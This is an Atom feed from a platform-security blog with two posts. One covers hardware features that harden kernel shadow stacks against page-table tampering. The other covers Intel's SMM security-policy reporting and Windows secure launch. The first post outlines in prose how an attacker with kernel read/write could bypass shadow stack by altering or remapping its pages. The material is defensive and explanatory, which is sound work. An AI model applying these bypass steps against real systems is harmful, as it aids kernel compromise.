<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="/blog/" rel="alternate" type="text/html" /><updated>2025-04-02T14:27:33+00:00</updated><id>/blog/feed.xml</id><title type="html">Satoshi’s notes</title><subtitle>Thoughts and notes about platform security, reverse engineering, system programming and other low-level stuff.</subtitle><entry><title type="html">What keeps kernel shadow stack effective against kernel exploits?</title><link href="/blog/2025/04/02/sss.html" rel="alternate" type="text/html" title="What keeps kernel shadow stack effective against kernel exploits?" /><published>2025-04-02T00:00:00+00:00</published><updated>2025-04-02T00:00:00+00:00</updated><id>/blog/2025/04/02/sss</id><content type="html" xml:base="/blog/2025/04/02/sss.html"><![CDATA[<p>This post introduces one of the virtualization features needed to keep kernel-mode shadow stack functional against kernel exploits: supervisor shadow stack restrictions / supervisor shadow-stack control.</p>

<details>
  <summary>Table of contents👇</summary>

  <ul>
    <li><a href="#shadow-stack">Shadow stack</a></li>
    <li><a href="#who-keeps-shadow-stack-effective">Who keeps shadow stack effective?</a>
      <ul>
        <li><a href="#user-mode-shadow-stack">User-mode shadow stack</a></li>
        <li><a href="#kernel-mode-shadow-stack">Kernel-mode shadow stack</a></li>
        <li><a href="#attack-by-directly-modifying-a-sss-page">Attack by directly modifying a SSS page</a></li>
        <li><a href="#attack-by-remapping-a-sss-page">Attack by remapping a SSS page</a></li>
        <li><a href="#hypervisor-may-not-help">Hypervisor may not help</a></li>
      </ul>
    </li>
    <li><a href="#supervisor-shadow-stack-restrictions--supervisor-shadow-stack-control">Supervisor shadow stack restrictions / supervisor shadow-stack control</a></li>
    <li><a href="#implementation">Implementation</a>
      <ul>
        <li><a href="#availability">Availability</a></li>
        <li><a href="#enablement">Enablement</a></li>
        <li><a href="#designating-the-sss-pages">Designating the SSS pages</a></li>
        <li><a href="#use-in-the-field">Use in the field</a></li>
      </ul>
    </li>
    <li><a href="#conclusion">Conclusion</a></li>
    <li><a href="#acknowledgement">Acknowledgement</a></li>
    <li><a href="#resources">Resources</a></li>
    <li><a href="#footnotes">Footnotes</a></li>
  </ul>

</details>

<h2 id="shadow-stack">Shadow stack</h2>

<p>Shadow stack, also referred to as SHSTK, is a backward-edge code flow integrity protection feature available in both Intel and AMD processors. Shadow stack detects the corruption of a return address in the stack by pushing a return address into the secondary stack in addition to the normal stack on the <code class="language-plaintext highlighter-rouge">CALL</code> instruction, and verifying return addresses in both the secondary and normal stacks match on the <code class="language-plaintext highlighter-rouge">(I)RET</code> instruction. If they do not, it indicates stack corruption and #CP is raised to abort the program or kernel.</p>

<p>This secondary stack is called shadow stack, and shadow stack used for kernel-mode <code class="language-plaintext highlighter-rouge">CALL</code> and <code class="language-plaintext highlighter-rouge">(I)RET</code> is called supervisor shadow stack (SSS).</p>

<h2 id="who-keeps-shadow-stack-effective">Who keeps shadow stack effective?</h2>

<h3 id="user-mode-shadow-stack">User-mode shadow stack</h3>

<p>Shadow stack can be enabled for user- and kernel-mode separately. When it is enabled for user-mode, it is the kernel that is responsible for making it functional and resilient against user-mode exploits. It makes sense and is straightforward as shadow stack is configured through system registers (CR4 and MSRs) and page tables, neither of those are accessible from user-mode exploits.</p>

<h3 id="kernel-mode-shadow-stack">Kernel-mode shadow stack</h3>

<p>On the other hand, when shadow stack is enabled for kernel-mode, the kernel alone cannot make it resilient against the kernel-mode exploits, which have access to those configuration nobs.</p>

<p>Let us think through a hypothetical example. We assume the supervisor shadow stack restrictions / supervisor shadow-stack control feature does not exist.</p>

<p>An attacker compromised a user-mode process, exploited a kernel bug, and gained an arbitrary kernel memory read/write primitive. The kernel text is static; meaning they are read-only through the second-level address translation (SLAT) with a hypervisor, and also, impossible to load a new, malicious kernel module. Now, attacker’s options are limited to code-reuse and data-only attacks. To carry out a code-reuse attack, the attacker may suspend a thread, and identify and modify its kernel stack to build a ROP chain. If shadow stack were enabled for kernel-mode, this would not work because return addresses in SSS and normal kernel stack would not match.</p>

<p>If this were the end of the story, security would be a bit of a boring field. An attacker can circumvent the kernel-mode shadow stack in two ways.</p>

<h3 id="attack-by-directly-modifying-a-sss-page">Attack by directly modifying a SSS page</h3>

<p>Contents of the SSS page can be modified if page tables and the SSS page itself are writable to the kernel privilege exploit. While SSS pages must be read-only at the guest page table level, it is only enforced during page table walk. The attacker can update PTEs to make the SSS page writable, write a desired return address into it, and revert the permission to be read-only. Even having a hypervisor may not help the situation as we will see shortly.</p>

<h3 id="attack-by-remapping-a-sss-page">Attack by remapping a SSS page</h3>

<p>Additionally, the contents of the SSS page can be changed as long as page tables alone are writable to the kernel privilege exploit. In this case, the attacker can,</p>
<ol>
  <li>find an arbitrary writable page</li>
  <li>write a desired return address into it</li>
  <li>identify the page’s physical address</li>
  <li>change a PTE of the SSS page to remap it into the identified physical address at (3)</li>
</ol>

<p>Now, the SSS page is backed by the page where the attacker wrote a desired return address, resulting in the same effect as the first case. Again, having a hypervisor does not necessarily help.</p>

<p><img src="/blog/img/posts/2025-04-02/cat.jpg" alt="" /> <em>(C’mon. It’s child’s play)</em></p>

<h3 id="hypervisor-may-not-help">Hypervisor may not help</h3>

<p>Having a hypervisor does not necessarily address these issues because the SSS pages cannot be made read-only through SLAT without (probably significant) performance penalties. If you do that, every <code class="language-plaintext highlighter-rouge">CALL</code> would cause VM exit due to an attempt to write a return address into a now-read-only SSS page.</p>

<p>Similarly, making the guest page tables read-only through SLAT will have an additional performance penalty whenever the guest OS updates its page tables. <a href="/blog/2023/07/05/intel-vt-rp-part-1.html">Intel VT-rp would address this problem, but its availability is limited</a>.</p>

<h2 id="supervisor-shadow-stack-restrictions--supervisor-shadow-stack-control">Supervisor shadow stack restrictions / supervisor shadow-stack control</h2>

<p>The solution to those issues is the feature called supervisor shadow stack restrictions (or SSSCheck) on AMD and supervisor shadow-stack control on Intel processors.</p>

<p>Both effectively do the same things:</p>
<ul>
  <li>allows a processor to write return addresses into SSS pages marked as read-only with SLAT</li>
  <li>restricts a processor from reading and writing return addresses only from/to pages that are explicitly designated as SSS pages with SLAT</li>
</ul>

<p>The first one addresses the issue with writable SSS pages. This allows the hypervisor to make the SSS pages read-only while still avoiding unwanted VM exits due to the <code class="language-plaintext highlighter-rouge">CALL</code> instruction writing a return address.</p>

<p>The second one addresses the issue of remapping the SSS pages. This is achieved by the hypervisor designating physical addresses to be SSS pages with SLAT and protecting a processor from checking return addresses in pages not designed as SSS pages. If an attacker remaps the SSS page into another physical address not designated as an SSS page, it will violate this restriction.</p>

<h2 id="implementation">Implementation</h2>

<h3 id="availability">Availability</h3>

<p>The feature has been available since Zen3 (AMD) and 11th gen (Intel). It can be confirmed by testing if the following bit is 1:</p>
<ul>
  <li>AMD: The bit 19 of CPUID <code class="language-plaintext highlighter-rouge">Fn8000_000A_EDX</code> (SSSCheck)</li>
  <li>Intel: The bit 23 of <code class="language-plaintext highlighter-rouge">IA32_VMX_EPT_VPID_CAP</code></li>
</ul>

<h3 id="enablement">Enablement</h3>

<p>The feature is enabled by setting 1 to the following bits:</p>
<ul>
  <li>AMD: The bit 4 of VMCB +0x90 (SSSCheckEn)</li>
  <li>Intel: The bit 7 of extended-page-table pointer (EPTP)</li>
</ul>

<h3 id="designating-the-sss-pages">Designating the SSS pages</h3>

<p>The feature takes effect by specifying physical addresses as the SSS pages by configuring SLAT entries in specific ways.</p>

<ul>
  <li>AMD:
    <ul>
      <li>NX=1 and U/S=0 in the final nested page table entry, and</li>
      <li>R/W=1 in all other nested non-leaf page table entries leading to the final nested page table entry</li>
    </ul>
  </li>
  <li>Intel:
    <ul>
      <li>SSS=1 (bit 60) in the final extended page table entry</li>
    </ul>
  </li>
</ul>

<p>Those pages should also be marked as read-only to prevent the attacker from directly modifying the contents (<a name="body1"><a href="#note1">*1</a></a>).</p>

<h3 id="use-in-the-field">Use in the field</h3>

<p>To my knowledge, as of March 16, 2025, Windows is the only platform using this feature. This is not surprising, as very few x86 platforms enable kernel shadow stack and have hypervisor-based security.</p>

<p>Here is an excerpt of dump of SLAT on Windows on both AMD and Intel, showing a few 2MB regions designated as SSS pages (indicated with <code class="language-plaintext highlighter-rouge">S</code> in the right side).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>amd_asid_1.log:
  0x121e00000 -  0x122000000 -&gt; Identity     S-----KR-V
  0x137200000 -  0x137400000 -&gt; Identity     S-----KR-V
  0x31b000000 -  0x31b200000 -&gt; Identity     S-----KR-V
  0x35e600000 -  0x35e800000 -&gt; Identity     S-----KR-V
  0x3c7400000 -  0x3c7600000 -&gt; Identity     S-----KR-V
  0x3f4c00000 -  0x3f4e00000 -&gt; Identity     S-----KR-V
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>intel_vpid_1.log:
  0x122400000 -  0x122600000 -&gt; Identity     S----6--R
  0x126e00000 -  0x127000000 -&gt; Identity     S----6--R
  0x26b000000 -  0x26b200000 -&gt; Identity     S----6--R
  0x2f8000000 -  0x2f8200000 -&gt; Identity     S----6--R
  0x316800000 -  0x316a00000 -&gt; Identity     S----6--R
  0x31be00000 -  0x31c000000 -&gt; Identity     S----6--R
  0x46da00000 -  0x46dc00000 -&gt; Identity     S----6--R
</code></pre></div></div>

<p>(The entire output can be found on <a href="https://gist.github.com/tandasat/673a3a19aefc23493e145dec82077368">gist</a>.)</p>

<h2 id="conclusion">Conclusion</h2>

<p>Shadow stack enhances backward-edge code flow integrity but faces challenges in kernel-mode, where privileged attackers can manipulate page tables. Making SSS pages read-only with SLAT may not be viable protection against such attacks. Supervisor shadow stack restrictions (SSSCheck) on AMD and supervisor shadow-stack control on Intel address these issues. These features allow secure supervisor shadow stack enforcement with minimal performance impact.</p>

<h2 id="acknowledgement">Acknowledgement</h2>

<p>Thank you <a href="https://www.linkedin.com/in/kunal-mehta-5b21aa22/">Kunal Mehta</a> for providing me feedback on the draft!</p>

<p>I thought of writing this post when he told me about this feature almost two years ago, but I had not because I thought the feature might be a bit too minor. I changed my mind because still little information was available besides the specs, and I had to explain this feature multiple times since then. I would say this feature is more relevant than ever as more hardware supports shadow stack and more platforms depend on it.</p>

<h2 id="resources">Resources</h2>

<ul>
  <li><a href="https://www.amd.com/content/dam/amd/en/documents/processor-tech-docs/programmer-references/40332.pdf">AMD APM volume 2</a>
    <ul>
      <li>15.25.14 Supervisor Shadow Stacks</li>
    </ul>
  </li>
  <li><a href="https://intel.com/sdm">Intel SDM volume 3</a>
    <ul>
      <li>26.6.11 Extended-Page-Table Pointer (EPTP)</li>
      <li>30.3.3.2 EPT Violations</li>
    </ul>
  </li>
  <li><a href="http://instlatx64.atw.hu/">x86, x64 Instruction Latency, Memory Latency and CPUID dumps</a></li>
</ul>

<h2 id="footnotes">Footnotes</h2>

<p><a name="note1">*1</a> (<a href="#body1">🔙</a>): Relevant statements from AMD and Intel manuals:</p>
<ul>
  <li>AMD: <em>“Although is not enforced by the SSS feature, R/W should be 0 in the final nested page table entry in order to achieve the desired security functionality.”</em> (15.25.14)</li>
  <li>Intel: <em>“Clearing bit 1 in the EPT paging-structure entry that maps the page of the guest-physical address does not disallow shadow-stack reads and writes.”</em> (30.3.3.2)</li>
</ul>

<hr />

<p><em>Found this post interesting? We offer a training course about Intel virtualization technology and security. <a href="https://tandasat.github.io/">Check out the course syllabus</a>.</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[This post introduces one of the virtualization features needed to keep kernel-mode shadow stack functional against kernel exploits: supervisor shadow stack restrictions / supervisor shadow-stack control.]]></summary></entry><entry><title type="html">SMM isolation - Security policy reporting (ISSR)</title><link href="/blog/2024/03/18/ISSR.html" rel="alternate" type="text/html" title="SMM isolation - Security policy reporting (ISSR)" /><published>2024-03-18T00:00:00+00:00</published><updated>2024-03-18T00:00:00+00:00</updated><id>/blog/2024/03/18/ISSR</id><content type="html" xml:base="/blog/2024/03/18/ISSR.html"><![CDATA[<p>This two-post series details the inner workings of System Management Mode (SMM) isolation on the Intel platform and interaction with Windows.</p>

<p>This post focuses on SMM security policy reporting and interaction with Windows. For SMI deprivileging, see <a href="/blog/2024/02/29/ISRD.html">the previous post</a>.</p>

<details>
  <summary>Table of contents👇</summary>

  <ul>
    <li><a href="#background">Background</a></li>
    <li><a href="#overview-of-issr">Overview of ISSR</a></li>
    <li><a href="#issr-implementation">ISSR implementation</a>
      <ul>
        <li><a href="#dgrreleaseppam11">DgrReleasePpam11</a></li>
        <li><a href="#intel-trusted-execution-technology">Intel Trusted Execution Technology</a></li>
        <li><a href="#sinit-acm">SINIT ACM</a></li>
        <li><a href="#mle">MLE</a></li>
      </ul>
    </li>
    <li><a href="#interaction-with-windows">Interaction with Windows</a>
      <ul>
        <li><a href="#txt-heap-initialization">TXT heap initialization</a></li>
        <li><a href="#secure-launch">Secure launch</a></li>
        <li><a href="#ppam-integrity-check">PPAM integrity check</a></li>
        <li><a href="#dgrreleaseppam11manifest">DgrReleasePpam11Manifest</a></li>
        <li><a href="#ppam-invocation">PPAM invocation</a></li>
        <li><a href="#hypercall-0x10009">Hypercall 0x10009</a></li>
        <li><a href="#hypercall-0x1000a">Hypercall 0x1000A</a></li>
        <li><a href="#policy-evaluation">Policy evaluation</a></li>
      </ul>
    </li>
    <li><a href="#conclusion">Conclusion</a></li>
    <li><a href="#footnotes">Footnotes</a></li>
    <li><a href="#appendix">Appendix</a>
      <ul>
        <li><a href="#smm-isolation-level-requirements">SMM isolation level requirements</a></li>
        <li><a href="#further-learning-resources">Further learning resources</a></li>
      </ul>
    </li>
  </ul>

</details>

<h2 id="background">Background</h2>

<p>To minimize the impact of vulnerabilities in SMM, Intel implemented Intel System Resources Defense (ISRD) where SMM interrupt (SMI) handlers run in user-mode and can access security sensitive resources only when security policies grant it. Intel provides the policies to OEMs and allows them to customize the policies. <a href="/blog/2024/02/29/ISRD.html">The previous part</a> of this blog series details ISRD.</p>

<p>With ISRD, the SMM is supposedly secure – but how would one tell if OEM did not install allow-everything™️ policies?</p>

<p>Non-SMM cannot read SMM memory (SMRAM) or tell what security policies are in effect. The SMM needs to provide an interface for non-SMM to expose this information in a secure and trusted manner. Although the traditional way of doing this is to implement an SMI handler, it would be untrusted as ISRD’s threat model assumes SMM modules may be compromised (<a name="body1"><a href="#note1">*1</a></a>).</p>

<p>To solve this problem, it is necessary that the reporting mechanism cannot be tampered with, or if it can, it is detectable (<a name="body2"><a href="#note2">*2</a></a>).</p>

<h2 id="overview-of-issr">Overview of ISSR</h2>

<p>Intel System Security Report (ISSR), code-named “Nifty Rock”, is Intel’s solution to this problem, taking the “tampering is detectable” approach. Under the ISSR architecture, an SMM security policy reporting component, called Platform Properties Assessment Module (PPAM), is verified and executed by yet another verified component, called Measured Launch Environment (MLE), while eliminating the risk of being compromised between verification and execution using Intel Trusted Execution Technology (TXT).</p>

<p>The below illustration depicts how each component in the ISSR architecture is verified and executed, from processor microcode to the security policy reporting component on Windows.</p>

<p><img src="/blog/img/posts/2024-03-18/issr_flow.png" alt="" /></p>

<p><em>(Green indicates trusted or tamper-detectable components under the ISSR security model.)</em></p>

<ol>
  <li>Winload.efi initiates measured launch by executing the <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code> instruction.</li>
  <li>The processor verifies and executes the SINIT ACM.</li>
  <li>The SINIT ACM measures (ie, hashes) PPAM and saves the measurement (ie, digest) into the TPM event log.</li>
  <li>The SINIT ACM verifies and executes tcblaunch.exe.</li>
  <li>tcblaunch.exe gets the computed measurement from the TPM event log and a reference measurements from a PPAM manifest, and then, verifies both matches.</li>
  <li>tcblaunch.exe hypercalls PPAM and receives security policies.</li>
</ol>

<p>During these operations, no other code than the above runs, and there is no chance of tampering, thereby achieving trusted reporting from PPAM.</p>

<h2 id="issr-implementation">ISSR implementation</h2>

<p>Here, we will analyze technologies and components that implement the ISSR architecture (<a name="body3"><a href="#note3">*3</a></a>). The later <a href="#interaction-with-windows">Interaction with Windows</a> section will explain how the Windows secure launch process interacts with them.</p>

<h3 id="dgrreleaseppam11">DgrReleasePpam11</h3>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">943D4107-5D78-4233-A382-6260062C554C</code></li>
  <li>Developer: Intel</li>
</ul>

<p>This is the PPAM – the SMM module that exposes an interface to non-SMM to report security policies enforced.</p>

<p>The file is in the SMM Transfer Monitor (STM) format, that is, an SMM module following 0x2000 bytes of the <a href="https://github.com/tianocore/edk2/blob/e449451770193c8eb36e4dc3a770c8ee353183aa/MdePkg/Include/Register/Intel/StmApi.h#L55">STM_HEADER</a> and other data structures.</p>

<p>This file is loaded into SMRAM and registered as an STM by <code class="language-plaintext highlighter-rouge">PpamPlatformSmm</code> (<code class="language-plaintext highlighter-rouge">91D211BF-37C2-495A-8DF7-9546BD2555C0</code>) during the SMM configuration phase and executed via two hypercalls from MLE, specifically, tcblaunch.exe on Windows. One of the hypercalls reports the security policies.</p>

<p>The STM was designed to run SMM in guest-mode using VT-x. However, unlike a conventional STM, PPAM does not deprivilege SMM modules since the ISRD architecture achieves it. PPAM is developed as an STM so that it can:</p>
<ul>
  <li>be measured (ie, hashed) by a trusted component, the SINIT ACM, and</li>
  <li>provide a hypercall-based interface to avoid dependency on SMI</li>
</ul>

<p>The former addresses the “tampering is detectable” aspect of the ISSR architecture. Let us review how this is achieved in more detail, starting with Intel TXT.</p>

<h3 id="intel-trusted-execution-technology">Intel Trusted Execution Technology</h3>

<p><em>(<a href="#sinit-acm">Skip this section</a> if you have a good handle on Intel TXT)</em></p>

<p>Intel Trusted Execution Technology (TXT) is a set of technologies to establish a dynamic chain of trust.</p>

<p>In short, it allows software to ask a processor to verify the integrity of a specified software and execute it in a trusted way. The main premises and goals are that:</p>
<ol>
  <li>Processors are difficult to tamper with and can be trusted.</li>
  <li>And thus, software components verified by the processor directly or indirectly can also be trusted, as long as no unverified software runs.</li>
  <li>Achieve this with the shortest chain of trust to minimize the chance of errors and possible known-good states.</li>
</ol>

<p>(2) is widely implemented as a combination of Intel Boot Guard (or AMD secure boot) and UEFI secure boot. However, it is challenging to do so right and take advantage of it due to the complexity of UEFI and the wide range of components need to be verified.</p>

<p>Instead, TXT starts the chain of trust from an arbitrary moment, hence the “dynamic” chain of trust, and very quickly jumps to a software component that wants a trusted execution environment, achieving both (2) and (3) the above.</p>

<p>TXT does so by resetting a processor to a predefined state with the <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code> instruction as illustrated below.</p>

<p><img src="/blog/img/posts/2024-03-18/issr_txt.png" alt="" /></p>

<p><em>(Green indicates trusted components under the TXT security model.)</em></p>

<p>The instruction microcode verifies the integrity of a region of memory specified by software and starts executing it if there is no issue. This first piece of software is called SINIT ACM, which will be explained shortly.</p>

<p>It is crucial that after execution of the <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code> instruction, no unverified software runs until explicitly allowed. All interrupts are disabled, and other processors halt their execution. Thus, even if an SMM module is already tampered with by the time of <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code>, it still cannot impact execution as SMIs are disabled.</p>

<p>More details of the instruction can be found in the <em>“CHAPTER 7 SAFER MODE EXTENSIONS REFERENCE”</em> of Intel SDM, and interaction with other components like SINIT ACM and MLE are in the <em>“Intel® Trusted Execution. Technology (Intel® TXT). Software Development Guide. Measured Launch Environment Developer’s Guide”</em>, which we will refer to as the MLE DG.</p>

<h3 id="sinit-acm">SINIT ACM</h3>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">3FB89FE4-CFC5-4C54-9EEE-E3DF016E3269</code></li>
  <li>Developer: Intel</li>
</ul>

<p>It is a blob file containing the first software code executed after <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code>. The <em>“ACM Header format”</em> section of the MLE DG and <em>“Table 7-6. Register State Initialization After GETSEC[SENTER] and GETSEC[WAKEUP]”</em> of the Intel SDM document the file format and the initial register value, respectively.</p>

<p>SINIT ACM is exclusively 32-bit code and verifies the system configurations to ensure the rest of the process can complete securely. For example, it checks that memory needed for SINIT ACM and MLE are protected from DMA so that DMA cannot influence measured launch. The list of verified things includes but is not limited to PCH registers, TPM, MTRRs, and IOMMU, a total of over 300 checks.</p>

<p>Another important thing the SINIT ACM does for the ISSR architecture is that it measures a registered STM (<a name="body4"><a href="#note4">*4</a></a>). The measurement is used to extend the PCR 17 and saved to the TPM event logs on a protected region of memory called TXT heap. The latter is critical because it allows MLE to compare it with a reference measurement and verify the integrity of PPAM as we review later.</p>

<p>For more details on the use of TPM and the TPM event logs, see the <em>“1.10 PCR Usage”</em> and <em>“TPM Event Log”</em> sections of MLD DG, respectively.</p>

<p>Once the SINIT ACM completes all verification and measurement, it executes the <code class="language-plaintext highlighter-rouge">GETSEC[EXITAC]</code> instruction to indicate the end of SINIT ACM and jumps to the entry point of MLE as specified by software before execution of the <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code> instruction though TXT heap.</p>

<h3 id="mle">MLE</h3>

<p>MLE is a software component whose integrity is measured through the above-explained process. In the case of Windows, tcblaunch.exe is the entry point of MLE.</p>

<p>It is executed from the SINIT ACM with the initial register state documented in the <em>“Table 34. Platform State upon SINIT exit and return to MLE”</em> section of the MLE DG.</p>

<p>MLE is the non-SMM software that talks to PPAM and retrieves security policies enforced by the ISRD architecture. MLE can do this in a trusted way because its integrity is measured, making corruption detectable, and no untrusted code or DMA can interfere with its execution.</p>

<h2 id="interaction-with-windows">Interaction with Windows</h2>

<p>To make discussions more concrete, let us analyze how the technologies and components we reviewed fit with the Windows boot process. That is, implementation of System Guard Secure Launch, with a focus on tcblaunch.exe and PPAM interactions.</p>

<h3 id="txt-heap-initialization">TXT heap initialization</h3>

<p>The secure launch process starts with preparing the TXT heap way before the execution of the <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code> instruction.</p>

<p>TXT heap is a memory region to pass data between BIOS, OS, SINIT ACM, and MLE. It consists of 4 sets of data produced and consumed by different components. The below diagram shows this relationship.</p>

<p><img src="/blog/img/posts/2024-03-18/issr_txt_heap.png" alt="" /></p>

<p>BIOS performs the first phase of heap initialization, specifically:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">TxtDxe</code> (<code class="language-plaintext highlighter-rouge">FF917E22-A228-448D-BDAA-68EFCCDDA5D3</code>) allocates the heap and initializes <code class="language-plaintext highlighter-rouge">BiosData</code>, except ones related to SINIT ACM.</li>
  <li><code class="language-plaintext highlighter-rouge">PlatformAdvancedDxe</code> (<code class="language-plaintext highlighter-rouge">C5046EFD-7BC3-4206-987C-32DA45026E6D</code>) populates the SINIT ACM related part of <code class="language-plaintext highlighter-rouge">BiosData</code> if SINIT ACM is available.</li>
</ul>

<p>The next phase of initialization is winload.efi populating <code class="language-plaintext highlighter-rouge">OsMleData</code> and <code class="language-plaintext highlighter-rouge">OsSinitData</code> parts with the <code class="language-plaintext highlighter-rouge">TxtInitializeTxtHeap</code> function.</p>

<p>3 of these 4 data structures have defined formats so a consumer can understand provided data. For example, SINIT ACM can know the entry point of MLE because <code class="language-plaintext highlighter-rouge">OsSinitData</code> has an address of the MLE header, which contains the entry point of MLE. Additionally, for each component to be able to find the TXT heap, the address of the heap must be written to the <code class="language-plaintext highlighter-rouge">TXT.HEAP.BASE</code> register at physical address 0xfed30300. The below illustrates the chain of data just explained:</p>

<p><img src="/blog/img/posts/2024-03-18/issr_txt_heap_2.png" alt="" /></p>

<p><em>(Green indicates MMIO memory. Gray indicates DRAM memory.)</em></p>

<p>For more information on TXT heap and TXT registers, see <em>“Intel® TXT Heap Memory”</em> and <em>“Intel® Trusted Execution Technology Configuration Registers”</em> of the MLE DG.</p>

<h3 id="secure-launch">Secure launch</h3>

<ul>
  <li>Key function: <code class="language-plaintext highlighter-rouge">TxtpLaunchMle</code></li>
</ul>

<p>After preparing the necessary data structures, winload.efi initiates the measured launch process by executing the <code class="language-plaintext highlighter-rouge">GETSEC[SENTER]</code> instruction. On Windows, this process is referred to as “secure launch”.</p>

<p>The true entry point of MLE is mlestartup.exe embedded into tcblaunch.exe. mlestartup.exe can be identified with the UUID <code class="language-plaintext highlighter-rouge">5aac8290-6f47-a774-0f5c-55a2cb51b642</code> as described in the <em>“Table 3. MLE Header structure”</em> of the MLE DG. Its primary goal is to set up and transition to long-mode and jump to tcblaunch.exe.</p>

<p>The “The Secure Launch” section of the Windows Internals part 2 explains more about the process. We will focus on the interactions with PPAM.</p>

<h3 id="ppam-integrity-check">PPAM integrity check</h3>

<ul>
  <li>Key function: <code class="language-plaintext highlighter-rouge">BlpTxtValidatePpamBinaryManifest</code></li>
</ul>

<p>One of the first steps tcblaunch.exe does with PPAM is to verify the integrity of it on memory. tcblaunch.exe does this by comparing the measurement of PPAM computed by the SINIT ACM and a reference measurement.</p>

<p>The computed measurement is extracted from the TPM event log through the TXT heap (<a name="body5"><a href="#note5">*5</a></a>). The reference measurement is taken from the PPAM manifest as explained next. If the digests match, tcblaunch.exe proceeds with interacting with PPAM. If not, it skips that and marks the environment as unsafe.</p>

<h3 id="dgrreleaseppam11manifest">DgrReleasePpam11Manifest</h3>

<ul>
  <li>GUID: <code class="language-plaintext highlighter-rouge">6C8FAEE0-6521-477A-83BF-0D6598DD28A2</code></li>
  <li>Developer: Intel</li>
</ul>

<p>This is the PPAM manifest containing the reference measurement of the <code class="language-plaintext highlighter-rouge">DgrReleasePpam11</code> file.</p>

<p>It is an x509 certificate in the DER format following a 12-byte custom header. After removing the header, the raw data can be dumped with openssl.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ openssl asn1parse -in DgrReleasePpam11Manifest.p7b -inform DER
...
   61:d=5  hl=3 l= 244 prim: OCTET STRING      [HEX DUMP]:5050414D5F4D414E49464553540001007DA5AE5A7E1CEE488EDB5D2831F78CEE00000000BA2D1160BA2D116000000000000000000000000000000000000000000000000091081B95D3123977DC1DEA8AFEFFA9F40A72E50F94E7A7AE1B780EFAD035509A000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
...
</code></pre></div></div>
<p><img src="/blog/img/posts/2024-03-18/issr_ppam_manifest.png" alt="PPAM_MANIFEST" /></p>

<p>Notice that the last non-zero data within the above output and image is the SHA256 digest of the <code class="language-plaintext highlighter-rouge">DgrReleasePpam11</code> file.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sha256sum DgrReleasePpam11_body.bin
91081b95d3123977dc1dea8afeffa9f40a72e50f94e7a7ae1b780efad035509a  DgrReleasePpam11_body.bin
</code></pre></div></div>

<p>During the SMM configuration phase, this manifest file is copied outside SMRAM as a configuration table by <code class="language-plaintext highlighter-rouge">PpamPlatformSmm</code> and becomes available for checking PPAM integrity. Although the PPAM manifest is exposed to non-SMM, tampering with it would be detectable as it is signed.</p>

<h3 id="ppam-invocation">PPAM invocation</h3>

<ul>
  <li>Key function: <code class="language-plaintext highlighter-rouge">BlpTxtValidateSmmConfiguration</code></li>
</ul>

<p>Once the integrity of the PPAM on memory is verified, tcblaunch.exe enters VMX root-operation by executing the <code class="language-plaintext highlighter-rouge">VMXON</code> instruction in the <code class="language-plaintext highlighter-rouge">BlpTxtPpamVmxInit</code> function. It is possible to execute this instruction since Windows is still in an early boot phase, and Windows Hypervisor has not started yet.</p>

<p>Then, tcblaunch.exe executes the <code class="language-plaintext highlighter-rouge">VMCALL</code> instruction a few times to call PPAM hypercalls (<a name="body6"><a href="#note6">*6</a></a>). This hypercall interface is as follows:</p>

<p>Input:</p>
<ul>
  <li>eax = Hypercall number</li>
  <li>ebx:ecx = Physical address of the buffer descriptor as below</li>
</ul>

<p>Output:</p>
<ul>
  <li>eax = 0 if successful. 0x8xxx_xxxx if error</li>
</ul>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">PPAM_HYPERCALL_BUFFER_DESCRIPTOR</span> <span class="p">{</span>
  <span class="kt">uint64_t</span> <span class="n">BufferPhysicalAddress</span><span class="p">;</span>

  <span class="c1">// For input, the size of `BufferPhysicalAddress`.</span>
  <span class="c1">// For output, it may be updated with the required size.</span>
  <span class="kt">uint32_t</span> <span class="n">BufferSize</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>There are two hypercalls, 0x10009 and 0x1000A, and each of them is called twice: first to get the required buffer size, and then, to get actual data.</p>

<p>On hypercall, PPAM checks that the system is in MLE by checking the <code class="language-plaintext highlighter-rouge">TXT.STS</code> register. At the end of hypercall handling, PPAM executes the <code class="language-plaintext highlighter-rouge">VMLANCH</code> or <code class="language-plaintext highlighter-rouge">VMRESUME</code> instruction with the “deactivate dual-monitor treatment” VM-entry control set to 1. This prevents PPAM from behaving as a conventional STM and causing any other VM-exits besides this hypercall interface.</p>

<h3 id="hypercall-0x10009">Hypercall 0x10009</h3>

<p>This hypercall provides information about PPAM itself and is only used to decide whether the other hypercall should be called. The result is based on the header data prepended in the <code class="language-plaintext highlighter-rouge">DgrReleasePpam11</code> file, and thus, static.</p>

<h3 id="hypercall-0x1000a">Hypercall 0x1000A</h3>

<p>This hypercall returns the effective security policies, which includes:</p>

<ul>
  <li>0x100 - Memory ranges</li>
  <li>0x101 - IO ports</li>
  <li>0x102 - MSRs</li>
  <li>0x103 - Protection on SMM state save</li>
  <li>0x201 - Lock of SMM configuration</li>
</ul>

